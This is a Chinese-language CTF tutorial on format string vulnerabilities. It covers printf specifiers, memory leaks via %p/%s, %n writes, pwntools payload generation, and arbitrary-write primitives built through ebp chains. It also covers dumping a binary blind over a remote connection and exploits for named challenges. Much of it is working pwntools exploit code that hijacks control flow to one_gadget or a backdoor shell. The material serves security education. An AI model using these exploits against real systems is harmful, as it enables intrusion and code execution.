格式化字符串


格式化字符串基础

基础知识

  • 常见格式化字符串函数
函数 基本介绍
printf 输出到stdout
fprintf 输出到指定FILE流
vprintf 根据参数列表格式化输出到stdout
vfprintf 根据参数列表格式化输出到FILE流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
  • 常见格式化字符串参数

    • %c:输出字符,配上%n可用于向指定地址写数据。
    • %d:输出十进制整数,配上%n可用于向指定地址写数据。
    • %p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32位下输出4字节,在64位下输出8字节,可通过输出字节的长度来判断目标环境是32位还是64位。
    • %s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32位和64位环境下一样,可用于读取GOT表等信息。
    • %n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32位和64位环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn%$hhn来适时调整。
    • %n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
  • 常用格式化字符串形式

1
2
%[parameter][flags][field width][.precision][length]type
例如 %2$08hx %.8lf
  • parametern$ ,获取格式化字符串中的指定第 n 个参数
  • flags:在 width 设置后指定可以用来作为填充的内容之类的内容
  • field width:输出的最小宽度
  • precision:输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16进制
    • o,8进制
    • s,所有字节
    • c,char类型单个字符
    • pvoid * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
      • hhn 写一字节
      • hn 写两字节
      • n 写四字节
      • ln 32 位写四字节,64 位写八字节
      • lln 写八字节

原理验证

示例程序:

1
2
3
4
5
6
7
#include<stdio.h>

int main() {
    char s[100] ="aaaa.%p.%p.%p.%p.%p.%p.%p";
    printf(s);
    return 0;
}
  • 32位

编译命令:

1
gcc test.c -g -m32 -o test

输出结果:

1
aaaa.0xf7ffc988.0xffffcf2a.0x56555595.0xffffcf2a.0xf7ffc984.0x61616161.0x2e70252e

栈结构:

1
2
3
4
5
6
7
00:0000│ esp  0xffffcee0 —▸ 0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0004│      0xffffcee4 —▸ 0xf7ffc988 (_rtld_global_ro+136) ◂— 0x8e
02:0008│      0xffffcee8 —▸ 0xffffcf2a ◂— 0x0
03:000c│      0xffffceec —▸ 0x56555595 (main+24) ◂— add    ebx, 0x1a3f
04:0010│      0xffffcef0 —▸ 0xffffcf2a ◂— 0x0
05:0014│      0xffffcef4 —▸ 0xf7ffc984 (_rtld_global_ro+132) ◂— 0x6
06:0018│ eax  0xffffcef8 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'

自上而下依次是参数0~6,参数0为格式化字符串地址,而格式化字符串前4字节又作为参数6(由于栈结构不同,需要视情况而定)。因此如果将格式化字符串合适的位置设置为目标地址就可以对该地址的数据进行操作。

  • 64位

编译命令:

1
gcc test.c -g -m64 -o test

输出结果:

1
aaaa.0x7fffffffde78.0x70.0x555555554770.0x7ffff7dced80.0x7ffff7dced80.0x2e70252e61616161.0x70252e70252e70255

寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
RAX  0x0
RBX  0x0
RCX  0x555555554770 (__libc_csu_init) ◂— push   r15
RDX  0x70
RDI  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
RSI  0x7fffffffde78 —▸ 0x7fffffffe21b
R8   0x7ffff7dced80 (initial) ◂— 0x0
R9   0x7ffff7dced80 (initial) ◂— 0x0
R10  0x0
R11  0x0
R12  0x5555555545a0 (_start) ◂— xor    ebp, ebp
R13  0x7fffffffde70 ◂— 0x1
R14  0x0
R15  0x0
RBP  0x7fffffffdd90 —▸ 0x555555554770 (__libc_csu_init) ◂— push   r15
RSP  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
RIP  0x555555554747 (main+157) ◂— call   0x555555554580

栈结构:

1
2
3
4
5
00:0000│ rdi rsp  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0008│          0x7fffffffdd28 ◂— '%p.%p.%p.%p.%p.%p'
02:0010│          0x7fffffffdd30 ◂— '.%p.%p.%p'
03:0018│          0x7fffffffdd38 ◂— 0x70 /* 'p' */
04:0020│          0x7fffffffdd40 ◂— 0x0

由于 64 位程序先使用 rdirsirdxrcxr8r9 寄存器作为函数参数的前六个参数,多余的参数会依次压在栈上,因此前 6 个输出的为寄存器中的值(aaaa 看做是格式化字符串参数),格式化字符串前 8 个字节作为参数 6 。

泄露偏移

格式化字符串泄露内存

泄露栈变量的值

获取栈中被视为第 n+1 个参数的值:%n$x%n$p

我们可以通过漏洞泄露栈上的canarylibc地址。

亦或者在开启PIE保护的情况下泄露程序地址。

注意:%x 其实只是 %d 的 16 进制输出,对应的是 32 位也就是 4 字节;在 64 位操作系统下,只会截取后 32 位;%p和系统位数关联没有问题,因此建议用 %p

泄露栈变量对应对应地址的内容

获取栈中被视为第 n+1 个参数对应地址的内容:%n$s

泄露任意地址内存

获取地址 addr 对应的值(addr 为第 k 个参数):addr%k$s

如果程序为 32 位偏移为 6 则payload为

1
p32(addr)+"%6$s"

格式化字符串覆盖内存

覆盖内存的原理是 %k$n 可以覆盖第 k 个参数指向的地址为已经输出的字符数量。

注意:覆盖内存只能覆盖栈上某地址指向的内存,而不是直接覆盖栈上某地址。

pwntools生成payload

pwntools集成了一个可以自动生成格式化字符串任意地址覆盖的工具。

我们较常使用的功能是

1
fmtstr_payload(offset, {address:data}, numbwritten=0, write_size='byte')
  • offset表示格式化字符串的偏移
  • address表示需要覆盖的地址
  • data表示覆盖为的值
  • numbwritten表示已经输出的字符个数
  • write_size表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

注意:部分题目格式化字符串漏洞会限制输入长度,导致pwntools生成的有些payload会失效。这样我们就只能通过手动来构造格式化字符串缩减长度了。

手动构造payload

覆盖小数字

对于小于机器字长的数字,如果把地址放在格式化字符串前面会使得已输出字符个数大于数字大小,因此要将地址放在后面。

我们可以通过设置格式化字符串为%c来控制输出字符长度,然后通过%n来将输出字符写入。

以数字10为例:

1
%10c%k$n[padding][addr]

覆盖大数字

直接一次性输出大数字个字节来进行覆盖时间过长,因此需要把大数字拆分成若干个部分,分别进行覆盖。比如hhn按字节写或hn按双字写。

hhn写入32bit数为例,payload形式为:[addr][addr+1][addr+2][addr+3][pad1]%k$hhn[pad2]%(k+1)$hhn[pad3]%(k+2)$hhn[pad4]%(k+3)$hhn

小技巧:我们可以通过打印pwntools生成的格式化字符串来作为参考。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

p = process([elf.path])

p.sendafter("please input:\n""%p%5$p")
elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))

ld_base = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))

p.sendafter("please input:\n""%7$saaaa" + p64(elf.got['puts']))
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8'\x00')) - libc.sym['puts']
info("libc base: " + hex(libc.address))

one_gadget = libc.address + [0xe3afe0xe3b010xe3b04][0]
exit_hook = ld_base + 0x2ef70
info("one_gadget: " + hex(one_gadget))
info("exit hook: " + hex(exit_hook))

gdb.attach(p, "b *$rebase(0x13b3)\nc")
pause()

payload = ''
payload += '%{}c%{}$hhn'.format(one_gadget >> 0 & 0xFF11)
payload += '%{}c%{}$hhn'.format(((one_gadget >> 8 & 0xFF) - (one_gadget >> 0 & 0xFF) + 0x100) & 0xFF12)
payload += '%{}c%{}$hhn'.format(((one_gadget >> 16 & 0xFF) - (one_gadget >> 8 & 0xFF) + 0x100) & 0xFF13)
payload = payload.ljust((len(payload) + 7) / 8 * 8)
payload += p64(exit_hook)
payload += p64(exit_hook + 1)
payload += p64(exit_hook + 2)

p.sendafter("please input:\n", payload)
p.sendafter("please input:\n""exit\x00")

p.interactive()

非栈上格式化字符串通用解法

考虑构造任意地址写原理。由于格式化字符串在堆上,我们不能直接在栈上布置要写入的地址,因此需要借助栈上的 ebp 链进行构造。

我们发现只要栈上存在一个有 2 跳的 ebp链就可以构造栈上相对地址写原语

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

elf = ELF("./test")
libc` `=` `ELF(``"/lib/x86_64-linux-gnu/libc.so.6"``)`

context(arch``=``elf.arch, os``=``elf.os)`
context.log_level = 'debug'
p` `=` `process([elf.path])`

gdb.attach(p,` `"b *$rebase(0x123e)\nc")
pause()

p.sendafter(``"please input:\n"``,` `"%p%5$p%7$p%9$p"``)
elf.address` `=` `int``(p.recv(``14``),` `16``)` `-` `0x2012`
info("elf base: " + hex(elf.address))

ld_base` `=` `int``(p.recv(``14``),` `16``)` `-` `0x11d60
info("ld base: " + hex(ld_base))

libc.address` `=` `int``(p.recv(``14``),` `16``)` `-` `0x24083

info(``"libc base: "` `+` `hex``(libc.address))

stack_addr` `=` `int``(p.recv(``14``),` `16``)` `-` `0xf8

info(``"stack addr: "` `+` `hex``(stack_addr))

one_gadget` `=` `libc.address` `+` `[``0xe3afe``,` `0xe3b01``,` `0xe3b04``][``2``]

exit_hook` `=` `ld_base` `+` `0x2ef70

info(``"one_gadget: "` `+` `hex``(one_gadget))
info(``"exit hook: "` `+` `hex``(exit_hook))

def` `arbitrary_offset_write(offset, value):

    `info(``"arbitrary_offset_write({}, {})"``.``format``(``hex``(offset),` `hex``(value)))`

    `assert` `0` `<``=` `(stack_addr &` `0xFFFF``)` `+` `offset <` `0x10000` `and` `value <` `0x10000`

    `if` `(stack_addr` `+` `offset) &` `0xFFFF` `=``=` `0``:`

        `p.sendafter(``"please input:\n"``,` `"%24$hn"``)`

    `else``:`

        `p.sendafter(``"please input:\n"``,` `"%{}c%24$hn"``.``format``((stack_addr` `+` `offset) &` `0xFFFF``))`

    `if` `value` `=``=` `0``:`

        `p.sendafter(``"please input:\n"``,` `"%37$hn"``)`

    `else``:`

        `p.sendafter(``"please input:\n"``,` `"%{}c%37$hn"``.``format``(value))`

`arbitrary_offset_write(``8` `+` `0``, one_gadget >>` `16` `*` `0` `&` `0xFFFF``)`

`arbitrary_offset_write(``8` `+` `2``, one_gadget >>` `16` `*` `1` `&` `0xFFFF``)`

`p.sendafter(``"please input:\n"``,` `"exit\x00"``)`

`p.interactive()`

由于我们有了栈上相对地址写原语,因此可以进一步构造任意地址写原语

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
`from` `pwn` `import` `*`

`elf` `=` `ELF(``"./test"``)`

`libc` `=` `ELF(``"/lib/x86_64-linux-gnu/libc.so.6"``)`

`context(arch``=``elf.arch, os``=``elf.os)`

`context.log_level` `=` `'debug'`

`p` `=` `process([elf.path])`

`p.sendafter(``"please input:\n"``,` `"%p%5$p%7$p%9$p"``)`

`elf.address` `=` `int``(p.recv(``14``),` `16``)` `-` `0x2012`

`info(``"elf base: "` `+` `hex``(elf.address))`

`ld_base` `=` `int``(p.recv(``14``),` `16``)` `-` `0x11d60`

`info(``"ld base: "` `+` `hex``(ld_base))`

`libc.address` `=` `int``(p.recv(``14``),` `16``)` `-` `0x24083`

`info(``"libc base: "` `+` `hex``(libc.address))`

`stack_addr` `=` `int``(p.recv(``14``),` `16``)` `-` `0xf8`

`info(``"stack addr: "` `+` `hex``(stack_addr))`

`one_gadget` `=` `libc.address` `+` `[``0xe3afe``,` `0xe3b01``,` `0xe3b04``][``2``]`

`exit_hook` `=` `ld_base` `+` `0x2ef70`

`info(``"one_gadget: "` `+` `hex``(one_gadget))`

`info(``"exit hook: "` `+` `hex``(exit_hook))`

`def` `arbitrary_offset_write(offset, value):`

    `info(``"arbitrary_offset_write({}, {})"``.``format``(``hex``(offset),` `hex``(value)))`

    `assert` `0` `<``=` `(stack_addr &` `0xFFFF``)` `+` `offset <` `0x10000` `and` `value <` `0x10000`

    `if` `(stack_addr` `+` `offset) &` `0xFFFF` `=``=` `0``:`

        `p.sendafter(``"please input:\n"``,` `"%24$hn"``)`

    `else``:`

        `p.sendafter(``"please input:\n"``,` `"%{}c%24$hn"``.``format``((stack_addr` `+` `offset) &` `0xFFFF``))`

    `if` `value` `=``=` `0``:`

        `p.sendafter(``"please input:\n"``,` `"%37$hn"``)`

    `else``:`

        `p.sendafter(``"please input:\n"``,` `"%{}c%37$hn"``.``format``(value))`

`def` `arbitrary_address_write(address, value):`

    `assert` `address <` `0x10000000000000000` `and` `value <` `0x10000`

    `arbitrary_offset_write(``0x50``, address >>` `0` `*` `16` `&` `0xFFFF``)`

    `arbitrary_offset_write(``0x52``, address >>` `1` `*` `16` `&` `0xFFFF``)`

    `arbitrary_offset_write(``0x54``, address >>` `2` `*` `16` `&` `0xFFFF``)`

    `arbitrary_offset_write(``0x56``, address >>` `3` `*` `16` `&` `0xFFFF``)`

    `gdb.attach(p,` `"b *$rebase(0x123e)\nc"``)`

    `pause()`

    `if` `value` `=``=` `0``:`

        `p.sendafter(``"please input:\n"``,` `"%16$hn"``)`

    `else``:`

        `p.sendafter(``"please input:\n"``,` `"%{}c%16$hn"``.``format``(value))`

`arbitrary_address_write(``0xdeadbeef``,` `0x1234``)`

`p.interactive()`

盲打

这类题目不会给任何附件,只给远程连接的 ip 和端口,这类 pwn 存在无限使用的格式化字符串漏洞,我们可以利用这一点通过脚本把程序dump下来。

利用条件

存在无限使用的格式化字符串漏洞

利用原理

  • %n$s:将第n个参数的值作为地址,输出这个地址指向的字符串内容。
  • %n$p:将第n个参数的值作为内容,以十六进制形式输出。

dump程序是获取给定地址的内容,所以使用%n$s

然后使用%s一直输出直到遇到\x00截至符才会停止,也就是每次泄露的长度是不确定的,可能很长也可能是空,因为 .text段很可能有连续\x00,所以我们下面的脚本遇到\x00的时候,地址加 1 然后数据设置为\x00

从程序加载的地方开始泄露:

  • 32位:从0x8048000开始泄露
  • 64位:从0x400000开始泄露

示例程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init(){
        setvbuf(stdin,0,2,0);
        setvbuf(stdin,0,2,0);
        setvbuf(stdout,0,2,0);
}

void backdoor(){
          system("/bin/sh");
}

int main()
{
        char buf[0x100];
        memset(buf,0,0x100);
        while(1)
        {
            printf("blind fmt\n");
            read(0,buf,0x50);
            printf(buf);
        }
}

dump程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import time
from pwn import *
import binascii

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

io = remote("127.0.0.1",9999)
context.log_level = "debug"


arch = True
begin = 0x400000
bin = b""

if arch:
context.arch = "amd64"
begin = 0x400000
else:
context.arch = "i386"
begin = 0x8048000

pad = b"blind fmt\n"

def leak(addr):
payload = b"%7$sdump"
if arch:
payload += p64(addr)
else:
payload += p32(addr)

r()
sl(payload)
print("leaking:", hex(addr))
data = ru(b"dump", drop=True)
return data

try:
while True:
data = leak(begin)
begin += len(data)
bin += data
if len(data) == 0:
begin += 1
bin += b"\x00"
except:
print("finish")
finally:
print("[+]", len(bin))
with open("dump_bin", "wb") as f:
f.write(bin)

例题

栈上数据泄露

泄露栈上canary和libc地址

hijack ret2addr

利用格式化字符串进行栈上内存覆盖劫持返回地址。

hijack GOT

wdb_2018_2nd_easyfmt

任意地址读泄露内存,任意地址写修改GOT表。

由于动态链接程序是通过 GOT 表调用 libc 函数的。所以我们可以通过修改 GOT 表让某个函数调用时调用指定函数,比如说调用 system 函数。

而只有在程序没有开启 RELRO 保护的时候,GOT 表可以被修改,我们可以通过格式符字符串漏洞修改 GOT 表。比如将 printf 函数 GOT 表修改为 system 函数,这样当我们执行 puts 函数的时候,实际上执行的就是 system函数。

非栈上格式化字符串

2019 xman format

由于不能泄露地址,因此只能爆破 ebp 链指向返回地址然后写返回地址为 backdoor 函数地址来 get shell 。

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
if c:
gdb.attach(io, c)
else:
gdb.attach(io)
pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('xman_2019_format')
context(os=elf.os, arch=elf.arch, log_level='debug')

while True:
global io
try:
io = process([elf.path])
payload = "%" + str(0x9c) + "c%10$hhn|%" + str(0x85ab) + "c%18$hn"
sla('...', payload)
sleep(0.5)
ia()

except KeyboardInterrupt:
ic()
exit(0)

except:
ic()
ia()

后言

参考:ctf-wiki
参考:看雪pwn探索篇